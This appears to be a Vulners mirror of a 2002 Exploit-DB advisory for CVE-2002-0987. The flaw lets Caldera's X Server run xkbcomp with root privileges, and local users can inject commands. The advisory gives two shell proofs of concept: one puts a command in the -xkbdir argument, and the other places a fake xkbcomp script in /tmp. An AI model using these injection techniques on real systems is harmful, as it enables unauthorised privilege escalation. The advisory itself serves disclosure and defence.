Lucene search
+L

Caldera X Server 7.1/8.0 - External Program Privileged Invocation

🗓️ 27 Aug 2002 00:00:00Reported by Olaf KirchType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 22 Views

Caldera X Server allows privilege escalation via unsecure command execution by local attackers.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2002-0987
2 Apr 200305:00
cve
cvelist
Cvelist
CVE-2002-0987
2 Apr 200305:00
cvelist
euvd
EUVD
EUVD-2002-0976
7 Oct 202500:30
euvd
nvd
NVD
CVE-2002-0987
24 Sep 200204:00
nvd
source: https://www.securityfocus.com/bid/5575/info

Caldera's X Server implementation invokes external commands without dropping existing privilege levels. Xserver calls xkbcomp, and other related utilities, in an unsecure manner using the popen() or system() calls. While this would not typically be an issue, as execution of the binary would typically result in the execution of code in the security context of the invoking user, the xkbcomp utility is executed by the Xserver process before privileges are dropped.

This weakness can be exploited by local attacker to execute arbitrary commands with elevated privileges.

$ Xserver -xkbdir 'id > /tmp/I_WAS_HERE;'
[exit X server]
$ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'

$ cat > /tmp/xkbcomp
#!/bin/sh
id > /tmp/I_WAS_HERE
[ctrl+d]
$ chmod a+x /tmp/xkbcomp
$ Xserver -xkbdir /tmp
[X server executes /tmp/xkbcomp]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Oct 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.00706
22